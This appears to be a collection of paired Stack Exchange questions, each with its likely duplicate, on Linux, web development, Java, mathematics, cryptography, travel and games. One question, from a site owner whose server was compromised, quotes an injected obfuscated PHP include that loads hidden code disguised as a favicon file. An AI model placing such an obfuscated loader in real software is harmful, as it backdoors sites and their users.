On my Asus K53S laptop, when I have a window open which is not maximised, there is a thick border around it consisting of coloured lines and dots.   Unfortunately I dont have enough rep to post a pic. That would show the problem very clearly.   Any idea what is causing this? It is really annoying because that border blocks out other things, and also the 'close', 'minimise', 'maximise' buttons are not visible (its just colourful fuzz).   My laptop has just come back from a repair where the DC power jack was replaced (which entails taking apart most of the laptop). Could this be related?

NB: Nvidia has released an official fix; please see ,  and/or .  Upon waking up Ubuntu 16.04 from Suspend, the following graphical glitches appear around all windows, context menus, and similar:      This is currently known to affect the following NVIDIA cards running the proprietary drivers:  NVIDIA GeForce 610M, driver version 375.39, 340.102 NVIDIA GT 630M, driver version 375.39 NVIDIA GTX 650, driver version 375.39 NVIDIA GT 740M, driver version 378.13 NVIDIA GTX 745, unknown driver version NVIDIA GTX 850M, driver version 375.39, 378.13 NVIDIA GT 940M, driver version 375.39 NVIDIA GTX 950M, unknown driver version NVIDIA GTX 960M, driver version 378.13 NVIDIA GTX 970, driver version 375.39 NVIDIA GTX 970M, driver version 375.39 NVIDIA GTX 980 TI, unknown driver version NVIDIA GTX 1060, driver version 375.26, 375.39, 378.09 NVIDIA GTX 1070, driver version 378.09  The above above list has been sourced from reports from other users here on AU,  thread, and  thread. NB: This is be no means an exclusive list. It probably effects nearly all Nvidia cards.  Furthermore, this issue has been replicated on a clean install where the only change was a software update and the installation of the latest NVIDIA drivers.  What is going on, and how can it be resolved?


I want that the image height fits to the parent div's height, but the image is overflowing. How can I resolve this?   .image-parent{     max-height: 50%; } img{     height: 100%; }

I am working on a web application where I want the content to fill the height of the entire screen.  The page has a header, which contains a logo, and account information. This could be an arbitrary height. I want the content div to fill the rest of the page to the bottom.  I have a header div and a content div. At the moment I am using a table for the layout like so:  CSS and HTML    #page {     height: 100%; width: 100% }  #tdcontent {     height: 100%; }  #content {     overflow: auto; /* or overflow: hidden; */ }

...

...

     The entire height of the page is filled, and no scrolling is required.  For anything inside the content div, setting top: 0; will put it right underneath the header. Sometimes the content will be a real table, with its height set to 100%. Putting header inside content will not allow this to work.  Is there a way to achieve the same effect without using the table?  Update:  Elements inside the content div will have heights set to percentages as well. So something at 100% inside the div will fill it to the bottom. As will two elements at 50%.  Update 2:  For instance, if the header takes up 20% of the screen's height, a table specified at 50% inside #content would take up 40% of the screen space. So far, wrapping the entire thing in a table is the only thing that works.


I can derive the Jacobian of a multivariate function $f(x,y)$ by creating a horizontal vector: $$\left[\frac{∂f}{∂x} ~,~ \frac{∂f}{∂y}\right].$$  This vector will point to the maximum value of the function.  But why is this? Why does arranging the partial derivatives of $f(x,y)$ into a vector mean that it points to the peak of the function? The partial derivative can tell us the rate of change in a parameter. I don't see how this connects to the function's maxima.

$$f(x_1,x_2,...x_n):\mathbb{R}^n \rightarrow \mathbb{R}$$ The definition of the gradient is  $$ \frac{\partial f}{\partial x_1}\hat{e}_1 +\  ... +\frac{\partial f}{\partial x_n}\hat{e}_n$$  which is a vector.  Reading this definition makes me consider that each component of the gradient corresponds to the rate of change with respect to my objective function if I go along with the direction $\hat{e}_i$.  But I can't see why this vector (defined by the definition of the gradient) has anything to do with the steepest descent.  Why do I get maximal value again if I move along with the direction of gradient?


I am trying to "burn" (yes I know thats not the right term) an iso for xubuntu onto my usb pendrive. I am on mac hardware but I have ubuntu installed and I would like to be able to do it without having to boot into mac os x. I have tried unetbootin and sudo dd if=xubuntu.iso of=/dev/sdb1 but none of them worked. Any help is greatly appreciated. Thanks  Additional info: I am on an intel mac, not one of those old powerpc things. It is a mid 2012 (I think) macbook pro

How do I make an Bootable Ubuntu USB containing the the latest version of Ubuntu?  For completeness, how would I be able to do this on Ubuntu, Windows, OS X or another Linux distro?


I have a flight from Mumbai to USA via Heathrow, London (LHR) and a valid US student visa. I will be reaching London on 7th August at 6 pm and have a connecting flight to USA on 8th August at 9 am. As such, a layover of 15 hrs including a night stay (change of date). Both my flights are from LHR only, also I do not have any plan to come out from the airport.  On reading - point 2 of 'Transiting without a Visa' on GOV.UK website, it says- 'before midnight on the day after you arrive'; which is ambiguous that the midnight is of next day of arrival or the same day.  Please guide me that in the above scenario, will Direct Airside Transit Visa or any other visa be required at London (LHR)?

Is there a website or some other way to find out if I need a transit visa for a short stop in the UK on my way somewhere else? Ideally this should give me the answer for all nationalities, and take into account any other visas I may have.


Consider the following function given by;  $f(x,y) = \begin{cases} \frac{xy}{x^2+y^2},&(x,y) \neq 0 \\\\ \ \ \ \ 0,&(x,y)=0 \end{cases}$  Is the function differentiable in the ordinate pair $(0,0)$???  Prove it    I calculated the following derivative.  $$ \frac{\lambda f}{\lambda y}(0,0)=\lim_{h\to 0}\frac{f(0+h,0)-f(0,0)}{h}=\lim_{h\to 0}\frac{\frac{(0+h)-0}{(0+h)^2+0^2}-0}{h}=\lim_{h\to 0}\frac{0}{h^3}=0$$  considering $(0,0)$  $$ \frac{\lambda f}{\lambda y}(0,0)=\lim_{h\to 0}\frac{f(0,0+h)-f(0,0)}{h}=\lim_{h\to 0}\frac{\frac{0(0+h)}{0^2+(0+h)^2}-0}{h}=\lim_{h\to 0}\frac{0}{h^3}=0$$    I could not differentiate the derivative  Replica of  I need another answer

How to show this function's discontinuity?  $ f(n) = \left\{     \begin{array}{l l}      \frac{xy}{x^2+y^2} & \quad , \quad(x,y)\neq(0,0)\\      0 & \quad , \quad(x,y)=(0,0)    \end{array} \right.$


I am trying to make a text based adventure that runs in a jframe but when i run the program i get a NullPointer error on line 97 (first time i append console in the game method) and I have no idea how to fix it. I am relatively new to java so its probably something simple that I just don't know.  my code is here  package window;  import java.awt.EventQueue;  import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; import javax.swing.JButton;  import java.awt.event.ActionListener; import java.awt.event.ActionEvent;  import javax.swing.JTextArea; import javax.swing.JTextField;  public class Gui extends JFrame {  public JPanel contentPane; public static JTextField input; public static JButton send; public static JTextArea console; public static JTextArea invintory; public static JTextArea stats; static String i = "";  /**  * Launch the application.  */    /**  * Create the frame.  */ public Gui() {     //variables      int Gold = 20;     int Health = 100;     int MaxHealth = 100;       //variables end     setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);     setBounds(100, 100, 450, 300);     contentPane = new JPanel();     contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));     setContentPane(contentPane);     contentPane.setLayout(null);      JTextArea console = new JTextArea();     console.setBounds(10, 11, 281, 214);     contentPane.add(console);      input = new JTextField();     input.setBounds(10, 236, 281, 20);     contentPane.add(input);     input.setColumns(10);      JTextArea stats = new JTextArea();     stats.setBounds(301, 11, 123, 53);     contentPane.add(stats);      JTextArea invintory = new JTextArea();     invintory.setBounds(301, 75, 128, 137);     contentPane.add(invintory);      JButton send = new JButton("Send");     send.addActionListener(new ActionListener() {         public void actionPerformed(ActionEvent arg0) {             String i = input.getText();             input.setText("");             stats.setText("");             stats.append("Health: " + Health + "/" + MaxHealth + "\n");             stats.append("Gold: " + Gold);         }     });     send.setBounds(301, 224, 128, 32);     contentPane.add(send);      stats.append("Health: " + Health + "/" + MaxHealth + "\n");     stats.append("Gold: " + Gold);  }  public static void game (JButton send, JTextArea console, JTextArea stats, JTextArea invintory, JTextField input, String i) {         //start     //START     //START     //START     //START     while (true) {                   console.append("You wake up open feild, with vast amounts of wheet in every direction");         console.append("There is a path going in either direction what do you want to do");         console.append("\t1. Go left.");         console.append("\t2. Go right.");            while (i == "") {         }         if (i == "1") {             console.append("1");             break;         }         else if (i == "2") {             console.append("2");             break;         }        }     //END     //END     //END     //END     }  public static void main(String[] args) {             try {                 Gui frame = new Gui();                 frame.setVisible(true);                 Gui.game(send, console, stats, invintory, input, i);             } catch (Exception e) {                 e.printStackTrace();             }          }  }

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


When I run $ sudo apt-get install texlive-latex-base it showed the following error.   Reading package lists... Done Building dependency tree        Reading state information... Done The following extra packages will be installed:   libgraphite3 libkpathsea6 libptexenc1 libreadline5 libruby1.8 lmodern luatex   ruby ruby1.8 tex-common texlive-base texlive-binaries texlive-common   texlive-doc-base texlive-latex-base-doc texlive-luatex Suggested packages:   ri ruby-dev ruby1.8-examples ri1.8 perl-tk The following NEW packages will be installed:   libgraphite3 libkpathsea6 libptexenc1 libreadline5 libruby1.8 lmodern luatex   ruby ruby1.8 tex-common texlive-base texlive-binaries texlive-common   texlive-doc-base texlive-latex-base texlive-latex-base-doc texlive-luatex 0 upgraded, 17 newly installed, 0 to remove and 0 not upgraded. Need to get 35.0 MB/102 MB of archives. After this operation, 201 MB of additional disk space will be used. Do you want to continue [Y/n]? Y Err http://ppa.launchpad.net/texlive-backports/ppa/ubuntu/ precise/main lmodern all 2.004.1-5~precise1 Connection failed Err http://ppa.launchpad.net/texlive-backports/ppa/ubuntu/ precise/main texlive-binaries i386 2012.20120628-1~ubuntu12.04.1 Connection failed Failed to fetch http://ppa.launchpad.net/texlive-backports/ppa/ubuntu/pool/main/l/lmodern/lmodern_2.004.1-5~precise1_all.deb  Connection failed Failed to fetch http://ppa.launchpad.net/texlive-backports/ppa/ubuntu/pool/main/t/texlive-bin/texlive-binaries_2012.20120628-1~ubuntu12.04.1_i386.deb  Connection failed E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?   I also tried $ sudo apt-get install --fix-missing texlive-latex-base which showed the error  naveen@naveen-Inspiron-3521:~$ sudo apt-get install --fix-missing texlive-latex-base [sudo] password for naveen:  Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: lmodern luatex tex-common texlive-base texlive-binaries texlive-common texlive-doc-base texlive-latex-base-doc texlive-luatex Suggested packages: perl-tk The following NEW packages will be installed: lmodern luatex tex-common texlive-base texlive-binaries texlive-common texlive-doc-base texlive-latex-base texlive-latex-base-doc texlive-luatex 0 upgraded, 10 newly installed, 0 to remove and 0 not upgraded. Need to get 48.2 MB/87.6 MB of archives. After this operation, 169 MB of additional disk space will be used. Do you want to continue [Y/n]? y Err http://archive.ubuntu.com/ubuntu/ precise/main texlive-binaries i386 2009-11ubuntu2 Connection failed [IP: 91.189.92.201 80] Err http://archive.ubuntu.com/ubuntu/ precise/main texlive-latex-base-doc all 2009-15 Connection failed [IP: 91.189.91.13 80] Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/t/texlive-bin/texlive-binaries_2009-11ubuntu2_i386.deb  Connection failed [IP: 91.189.92.201 80] Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/t/texlive-base/texlive-latex-base-doc_2009-15_all.deb  Connection failed [IP: 91.189.91.13 80] Unable to correct missing packages.      E: Aborting install.   How can I get rid of this problem?

PPA seems to be constantly offline. Whenever I use sudo apt-get update, this error is shown:  W: Failed to fetch http://ppa.launchpad.net/ 404  Not Found   How do I fix these errors?


My question may seem really basic but I struggled to find satisfactory answer. I have started to wonder what is the exact structure of a file in Linux. There are some commands like file or ls that can be used to get some information about the file but I would like to check values of all attributes that file is comprised of. I mean each file has its creator, different important dates, modes, type, encoding, size, actual data etc. Address that informs where the file is located on the hard drive also got to be stored somewhere. Are all of these information stored in the header of the file, ahead actual data or are they in different memory locations? Is there any magic way to get all possible information about the file using bash?

In Unix file systems directories are just special files with special directory structures that hold the child filename, filename size and inode reference number.    The actual file metadata beyond this is normally stored in the inode itself.  My question is.  How does one read the actual special directory structure in its raw form instead of its interpreted form.  Yes I know you can use ls to see the files there.  That's not what I am looking for.


I am currently developing a kind of Football Website. I have 2 external files included on my main file. One for the ajax post data (ajax.php), and another with a form (form.php). PS: All the scripts are on main file (main.php)    On my main file i use <?php include 'form.php'; ?> to call the form page. On that form.php file i have a Dropdown Menu with all the countries retrieved from database.    In main.php (where all the scripts are) i use jQuery to get the countryID that user clicked, then i post it to my ajax file so it can return all the teams from a specific country.     Ajax file return:
id' class='res1' id='$row->name' name='res1'> $row->name &nbsp;
   And then i append it to another Dropdown menu on form.php.  The problem is when i try to know which team user clicked (to show image team at bottom) it does not recognize it. I already tried $(document).ready(function(){ ... } but it still does not work.    I use this code to get the click:    $(".res1").click(function(ev){       var rel = $(this).prop('rel');       var name = $(this).prop('id');       $.ajax(         {         type: "POST",         url: "ajax.php",         data: {          subid: rel,         postName: 'res1'         },         success: function (result) {               $('#imageE1').empty();           $('#imageE1').append('
IMAGE
');         } });     ev.preventDefault(); });   I think the problem is that all the script are on my main.php file, and it can't reach the form.php dropdown when ajax.php returns the list. But when i move the scripts to form.php file they simply stop working.

I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off.  This happens on page ready and works just fine.  The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound.  I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.


This is one of the problem in the Allan Gut's Second Course for Probability.  Let $X_1$, $X_2$ be independent standard gaussian e.g. N(0,1).   Let $Y_1 = \frac{X_1^2 - X_2^2}{\sqrt{X_1^2 + X_2^2}}$, $Y_2 = \frac{2X_1X_2}{\sqrt{X_1^2 + X_2^2}}$. Show $Y_1$, $Y_2$ are independent standard normal.   It is easy to show $Y_1$, $Y_2$ has mean 0, variance 1 and covariance 0. However, I am having trouble show they are joint normal, since the transformation is non-linear.

It is given that $X,Y \overset{\text{i.i.d.}}{\sim} N(0,1)$  Show that $\frac{XY}{\sqrt{X^2+Y^2}},\frac{X^2-Y^2}{2\sqrt{X^2+Y^2}} \overset{\text{i.i.d.}}{\sim} N(0,\frac{1}{4})$  I was thinking of making polar transformations $X=r \cos \theta, Y=r \sin \theta$  Then I am getting stuck at ranges of $\theta$


Introduction  Virtual particles are particles which doesn't obey the energy–momentum relation: \begin{align}E^2=(mc^2)^2+(pc)^2\end{align}This is possible if it happens short enough time. Often Heisenberg's uncertainty principle is used to determite relation for that: \begin{align}\Delta E \Delta t \geq \frac{\hbar}{2}\end{align} when searching information about virtual particles, it is done by just simply turning "≥" sign. We can borrow the energy ∆E to create a virtual particle from the vacuum, as long as we give it back within a time ∆t ≈ ℏ/∆E.  Energy operator, which is bounded below, doesn't satisfy canonical commutation rule. And time isn't quantum observable at all and there is no Hermitean operator whose eigenvalues were the time of the system.   Question  My question is how is turning the sign "≥" actually justified to use to determine time which is allowed to be off mass shell in Quantum Mechanics or Quantum Field Theory? (What is idea behind turning sign and why we can do it). Is there other method to derive the relation between mass and range than Heisenberg's uncertainty principle?

In non-relativistic QM, the $\Delta E$ in the time-energy uncertainty principle is the limiting standard deviation of the set of energy measurements of $n$ identically prepared systems as $n$ goes to infinity. What does the $\Delta t$ mean, since $t$ is not even an observable?


I did something really stupid yesterday...    I accidentally did some weird command with mv and made it so the Linux filesystem could not find anything.    Anyhow, I reinstalled Ubuntu 11.10 from the same disk I did the first time, and then upgraded to 12.04 just like last time and it hasn't been the same.     Now I have to boot into recovery mode or else I get stuck on the splash screen.   After I log in I often have strange problems with the mouse and GUI.   The other thing is I'm still left with pieces of the old filesystem on the last Ubuntu partition. I think that might be interfering with the current one. How do I delete it?     Also, could there be other causes?  Thanks.

I would like to see a full how-to guide on how to install Ubuntu.


I have now played the A Night To Remember questions twice. My follower (I also married him for the convenience factor) Marcurio. I am playing on PS4. First time through, Marcurio followed me into the Grove and when I was teleported back, he was gone. I picked him up at The Bee and Barb, so naturally I checked to see if he was there. Nope. Then went to Solitude where our house is with our two kids. Nope, not there either. I waited 3 days in each location. Nothing. So I went back, reloaded, and the second time around, I told him to wait in my house in Riften. I flew through the quest a second time, came back to Honeyside. Nope. He's gone. Checked The Bee and Barb (again), nope. Went to Solitude again, kids were there, dad no where to be found. How can I complete this quest without looking my follower/hubs?

At the end of the "A Night to Remember" quest line, my follower came with me when I was teleported to the Misty Grove. Once there, I told my follower to wait.  Now, when I was teleported back to the real world, my follower's not with me: presumably because he's still waiting at the Misty Grove. I've waited for some time and still he hasn't come back.  How can I get my follower back?


In class, we described a subgroup as follow :   A subset of $\mathbb{Z}$ is called a subgroup if it is nonempty, and the sum and difference of any two of its members is also a member.   I would like to find the "unique finite subgroup of $\mathbb{Z}$. I think it is $S=\{0\}$ but I am not sure $S$ is a subgroup of $\mathbb{Z}$ in this case.

Studying groups and subgroups I find this question:     Are there subgroups of order $\mathbf 6 \mathbf 5$ in the additive group $(\Bbb Z$,$+)$?   I would answer no, because a subgroups of $(\Bbb Z,+)$ is the multiple of a Natural number $n $ and it has the form: $n\Bbb Z$={$na|n \in \Bbb N, a \in \Bbb Z$} and they have no finite order.  But I'm not sure of this answer.  Could someone explain if I'm wrong and why?  Thanks.  $\mathbf {edit}:$  My question comes because discussing with a course mate he argued that exist Z/65Z in (Z,+), the group module 65 and it  has order 65 so I'm a bit confused.


I wanted to know, how can i solve this.  For a given positive integer n, how many solutions $(x,y)$ exist for $\frac{1}{x} + \frac{1}{y} = \frac{1}{n}$ with $x$ and $y$ being positive integers and $(x \neq y)$.

I have a question about the following problem from a Putnam review:  Let $n\in \mathbb{N}$. Find how many pairs of natural numbers $(x, y)\in \mathbb{N}\times \mathbb{N}$ solve $$ \frac{xy}{x+y}=n. $$  I have found some solutions for all $n$, such as $(2n, 2n)$ and $(n+1, n(n+1))$, but I feel as though this is the wrong approach, as the question is only asking for the number of solutions to the equation.  I don't really want a complete solution, but any hints would be greatly appreciated.


I have the following code:  public void convert() {      String val = (String) spinner1.getItemAtPosition(spinner1.getSelectedItemPosition());     System.out.println(spinner1.getItemAtPosition(spinner1.getSelectedItemPosition()));     System.out.println(val);     if(val == "mm" || val == "cm" || val == "m" || val == "km")     {         System.out.println("got into if statements");         initiateLengthConvert();     }     System.out.println("never got it");    }   Now when the first to print statements print out, if I selected "mm", then it prints out:  mm mm never got it   Why won't it pass into the if statement? "val" and the possibilities match up, so it doesn't make any sense to me.

I've been using the == operator in my program to compare all my strings so far. However, I ran into a bug, changed one of them into .equals() instead, and it fixed the bug.  Is == bad? When should it and should it not be used? What's the difference?


I read this on someone's Facebook page, it has no relevance to me but its construction both intrigued and baffled me...      Thank you, Lord, for letting it rain!   Please explain, if possible, what "it" refers to here.

Could you please remind me what term linguists and the grammar people use to call it when it's used as a subject pronoun, but the funky thing is that it doesn't really refer back to anything in particular like he, she or we usually do which do refer back to a person or an animal that they stand for.  In grammar-speak, when it is used like that they say that it has no antecedent. I think I knew the term, but I unfortunately forgot it. I did a Google search, but the only thing I could find was empty subject. But the truth is that I don't think that's what they actually use in linguistics. Would you please refresh my memory?  Examples:        It's quite cold today outside. So, I don't really wanna go out.   Did I solve that math problem? Yes. Actually, it was very easy to get it cracked. There was really nothing to it!   Don't mention it! It's nothing. I really like to help people who are in need.


I tried to install catalyst for my Radeon Graphics on 13.10  , but looks like everything went wrong . Now I can't install any software , and the software center says : The following packages have unmet dependencies:  fglrx: Depends: libqtcore4 (>= 4:4.5.3) but 4:4.8.4+dfsg-0ubuntu18 is installed        Depends: lib32gcc1 but it is not installed        Depends: libc6-i386 but it is not installed xserver-xorg-video-intel: Depends: xorg-video-abi-13 but it is not installed   I am a noob , thus I really don't know what to do . I tried to install lib32gcc1 and libc6-i386 via apt-get and it didn''t work also for unmet dependecies .  I downloaded .deb package of libc6-i386 but I couldn't install it. any help ?

Occasionally, when I'm installing stuff, I get an error like the following:  Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation:  The following packages have unmet dependencies:  package1 : Depends: package2 (>= 1.8) but 1.7.5-1ubuntu1 is to be installed E: Unable to correct problems, you have held broken packages.   How can I resolve this?


I get an error in my program saying "Unresolved External symbol", i tried everything i know but couldn't solve it. I started getting this error after i used class template.  Here is FileHandler Class Header :-  #include <string> #include <iostream> #include "test.h" #include <iomanip> #include "Administrator.h" #ifndef  FileHandler_h #define FileHandler_h  using namespace std; template<class T> class FileHandler    {      public:string writeToFile(T writeObject);  public: FileHandler();     };   #endif   File Handler Class Implementation  template<class T> FileHandler<T>::FileHandler(){}  template<class T> string FileHandler<T>:: writeToFile(T writeObject) {     ofstream outputFile;    outputFile.open("file.txt",ios::out|ios::app);   more code..........       return "done";  }   Here is the code where i call the method in filehandler class  string Administrator::registerNewMember(Administrator newAdmin) {    FileHandler<Administrator> f1;      return f1.writeToFile(newAdmin);  }   Below is a screen shot of the error which i get.    How do i fix this error?

Quote from :     The only portable way of using templates at the moment is to implement them in header files by using inline functions.   Why is this?  (Clarification: header files are not the only portable solution. But they are the most convenient portable solution.)


I want to increase a counter for a ConcurrentHashmap, but the key can be deleted at any time by another thread. So I check if the key still exists before increasing the counter.  I have the following code:  if(this.myMap.containsKey(key)) {     this.myMap.put(key, this.myMap.get(key) + 1); }   myMap is created like this:  private Map<String, Integer> myMap = new ConcurrentHashMap<String, Integer>();   But from time to time I get a NullPointer Exception in the line where I increase the integer. This doesn't happen often (maybe 1 out of 10 Million runs).  Is there another way to increase the counter? Or Do I even need a HashMap?

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


i have the galaxy S6 Edge don't  know google account password is there anything i can do to use the phone the phone says there was an unauthorized factory reset i purchased the phone second hand and can no longer find the person i purchased the phone from

I won a Samsung Galaxy S6 Edge, signed into it with my Google account, played around with it, wiped it, and sold it.  Now the person can't get past setup because it's saying he must login with an account previously synced to the phone.   Is there anything I can do from my side to remove this lock?


I think that Anakin had some dark thoughts circulating in his head when he saw Kenobi aboard Padme's ship. If Kenobi had just told Anakin that Padme had nothing to do with him being on her ship, then I feel like things would have turned out differently.

In Star Wars Episode III, before the battle on Mustafar, why didn't Obi-Wan admit to Anakin that it was his idea to hide in Padmé's ship to find him? His hate towards her would at least be forgiven, since Obi-Wan had no idea how the confrontation with Anakin would start or if Padmé died.


Is there a difference in terms of security between    An encrypted stream of bits obtained by encrypting a plaintext concatenated with it's signature  $ C = E_k(plaintext||\sigma)$  where $E$ is a symmetric or asymmetric encryption function, II is a concatenation operator and   $\sigma=h(plaintext)^k$   where $h$ is a secure MAC (the key is assumed to be the same).  A bit stream obtained by concatenating a ciphertext and the signature over the its corresponding plaintext  $C=E_k(plaintext)||\sigma$  where   $\sigma=h(plaintext)^k$ A stream obtained by encrypting the ciphertext of the plaintext concatenated with the signature over the respective ciphertext  $C=E_k(E_k(plaintext)||\sigma)$  where  $\sigma=h(E_k(plaintext))^k$   Also, is there any risk due to using the same key for both encrypting and signing? I don't refer to the cases that do not involve recovering the key through other means other than passive or active attacks.

Most of the time, when some data must be encrypted, it must also be protected with a , because encryption protects only against passive attackers. There are some nifty encryption modes which include a MAC (, ...) but let's assume that we are doing old-style crypto, so we have a standalone encryption method (e.g. AES with CBC chaining and PKCS#5 padding) and a standalone MAC (e.g.  with SHA-256). How should we assemble the encryption and the MAC?   MAC-then-Encrypt: Compute the MAC on the cleartext, append it to the data, and then encrypt the whole? (That's what  does) Encrypt-and-MAC: Compute the MAC on the cleartext, encrypt the cleartext, and then append the MAC at the end of the ciphertext? (That's what SSH does) Encrypt-then-MAC: Encrypt the cleartext, then compute the MAC on the ciphertext, and append it to the ciphertext? (In that case, we do not forget to include the initialization vector (IV) and the encryption method identifier into the MACed data.)   The first two options are often called "MAC-then-encrypt" while the third is "encrypt-then-MAC". What are the arguments for or against either?


Since a class or instance method in Python doesn't require you to use cls or self in the method, why can't you just create a class/instance method in place of a static method? Is there an advantage of using a static method as opposed to a class/instance method without referencing the cls/self in the method code?  For example: This class method  @classmethod def add(cls, num1,num2)     return num1 + num2   As opposed to this static method  @staticmethod def add(num1, num2)     return num1 + num2

What is the difference between a function decorated with  and one decorated with ?


being from a CS background I am a complete noob at this. I'll keep this short. I have a couple of 18650 batteries that i salvaged from an old laptop battery. I want to make a balanced 3S charger with over-discharge protection. I know that I could use a 3S BMS, but BMS aren't good at charging as they dont balance the cells properly.   I've seen many YouTube videos, regarding DIY balanced 18650 chargers and most of them uses this schematics   this works perfectly for charging only and also does the cell-balancing.   But i wish to obtain the output from the charging modules as they also features a over-discharge protection IC in them. And embedded them into a project, without any hassle.  So, the question: will this work? those are TP4056 with over-discharge protection.

These tp4056 can charge at lithium battery up to 1A.   I would like to use them in series but charging each battery separetely because the TP4056 modules cannot be wired in serial due to common ground.  But i've made a schematic and i would like to know if it will work or explode.  Here :   In this circuit each module have a tp4056 chip, a dw01 single cell protection ic and a dual mosfet.  The switch is used for the charge or for out 11.1V so you won't be able to use the +11.1V while charging it and it's a dpst switch so no common ground problem.  Can I wire these modules in series?


I developed a new website which I installed in a new server and just two days ago pointed the domain to that server.   However strange things are happening now such as index.html being renamed to index.html.bak.bak and index.php is appearing.  Following code is appearing in index.php and in existing index.php new code is being added such as :  php  /6e980/  @include "\x2fh\x6fm\x65/\x732\x61n\x61l\x79t\x69c\x73/\x70u\x62l\x69c\x5fh\x74m\x6c/\x54A\x53c\x65n\x61r\x69o\x2fQ\x75e\x72y\x2ff\x61v\x69c\x6fn\x5fa\x365\x399\x65.\x69c\x6f";  /6e980/  echo file_get_contents('index.html.bak.bak');  Suddenly i observed a folder namely forum got created with a lone php file called 5w4xg.php. JQuery files are becoming blank or contains weird headers.  It is a linux server running on AWS. I think its either been hacked or has malware.  I am advised to   - Install SSL  - Website can have SiteLock () for regular scan of website files and database.  - Website can have Comodo Web Application firewall on the server which will prevent from SQL and XSS attacks.  - Install ClamAV anti virus for cPanel.  While someone is saying on install SSL, ClamAV and Wordfence.   I don't know what to do ?   I also have following ports open :  TCP 21 0.0.0.0/0  TCP 21 ::/0  TCP 22 0.0.0.0/0 TCP 25 0.0.0.0/0  TCP 25 ::/0  TCP 53 0.0.0.0/0  TCP 53 ::/0  TCP 80 0.0.0.0/0  TCP 80 ::/0  TCP 110 0.0.0.0/0  TCP 110 ::/0  TCP 143 0.0.0.0/0  TCP 143 ::/0  TCP 443 0.0.0.0/0  TCP 443 ::/0  TCP 465 0.0.0.0/0  TCP 465 ::/0  TCP 587 0.0.0.0/0  TCP 587 ::/0   I need ports only for : a) uploading files from my workplace b) connecting to MySQL db c) mail system to work  Please advice what can I do and something that's involves minimal cost.

This is a  about Server Security - Responding to Breach Events (Hacking)   See Also:                  Canonical Version I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism:   What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", are there other initial considerations? How do I go about getting services back online? How do I prevent the same thing from happening immediately again? Are there best practices or methodologies for learning from this incident? If I wanted to put a Incident Response Plan together, where would I start? Should this be part of my Disaster Recovery or Business Continuity Planning?   Original Version       2011.01.02 - I'm on my way into work at 9.30 p.m. on a Sunday because our server has been compromised somehow and was resulting in a    attack on our provider. The servers access to the Internet   has been shut down which means over 5-600 of our clients sites are now   down. Now this could be an FTP hack, or some weakness in code   somewhere. I'm not sure till I get there.      How can I track this down quickly? We're in for a whole lot of   litigation if I don't get the server back up ASAP. Any help is   appreciated. We are running Open SUSE 11.0.            2011.01.03 - Thanks to everyone for your help. Luckily I WASN'T the only person responsible for this server, just the nearest. We managed   to resolve this problem, although it may not apply to many others in a   different situation. I'll detail what we did.      We unplugged the server from the net. It was performing (attempting to   perform) a Denial Of Service attack on another server in Indonesia,   and the guilty party was also based there.      We firstly tried to identify where on the server this was coming from,   considering we have over 500 sites on the server, we expected to be   moonlighting for some time. However, with SSH access still, we ran a   command to find all files edited or created in the time the attacks   started. Luckily, the offending file was created over the winter   holidays which meant that not many other files were created on the   server at that time.      We were then able to identify the offending file which was inside the   uploaded images folder within a  website.      After a short cigarette break we concluded that, due to the files   location, it must have been uploaded via a file upload facility that   was inadequetly secured. After some googling, we found that there was   a security vulnerability that allowed files to be uploaded, within the   ZenCart admin panel, for a picture for a record company. (The section   that it never really even used), posting this form just uploaded any   file, it did not check the extension of the file, and didn't even   check to see if the user was logged in.      This meant that any files could be uploaded, including a PHP file for   the attack. We secured the vulnerability with ZenCart on the infected   site, and removed the offending files.      The job was done, and I was home for 2 a.m.            The Moral   - Always apply security patches for ZenCart, or any other CMS system for that matter. As when security updates are released, the whole   world is made aware of the vulnerability.   - Always do backups, and backup your backups.   - Employ or arrange for someone that will be there in times like these. To prevent anyone from relying on a panicy post on Server   Fault.


I have a bluetooth mouse which is way too sensitive out of the box. So via xinput I set the correct settings and saved them in a mousefix.sh. I put this file in /home/user/localsettings/mousefix.sh and I want it to run whenever I login.  So I added it to Startup Applications with these commands, but none seem to pick it up on boot;   /home/user/localsettings/mousefix.sh bash /home/user/localsettings/mousefix.sh sh /home/user/localsettings/mousefix.sh   So how would I write the command to this script to do get it working at login? (As a workaround I just run bash /home/user/localsettings/mousefix.sh from the terminal after logging in)  This might be a duplicate question, but I've searched all over and all similar questions have accepted answers like "Just add it Startup Applications", which I did, but it's not working (yet).

I have a simple one line command which works perfectly in terminal, but does not work in the "Startup Applications" app thing.  The line of code is : xmodmap /home/seph/Code/Ubuntu\ Scripts/Xmodmap  It's not that much of a hassle to copy it from "Startup Applications" and paste it into terminal, but I don't really get why it isn't working.  I followed someone else's instructions to do it in the first place, so maybe I did something wrong?  In any case, wouldn't it be the obvious and logical assumption that it just types whatever you put in it into Terminal?


Help! What is happening!?  Here on Meta today I have been having a very strange issue with the top bar. It has been showing 10 more rep than I really have, on all pages which have not been refreshed in a while. When I reload the page however, it goes back to the correct value. Take a look at this screenshot. It says on the top bar that I have 91 rep, but if you look on the dropdown menu or my profile you will see that I only really have 81 rep. (My rep level has already changed, but long after I began writing this.)  This also happened in the dropdown menu of other sites under the Stack Exchange icon. The circled item in the list (Raspberry Pi SE) showed 2 too much rep (in this shot it is the correct value) but all the others had the right value!    I haven't been downvoted, or had anything deleted take a look at this screenshot of my rep history.     I have absolutely no idea what is going on here. What is happening? Has anyone else seen this?

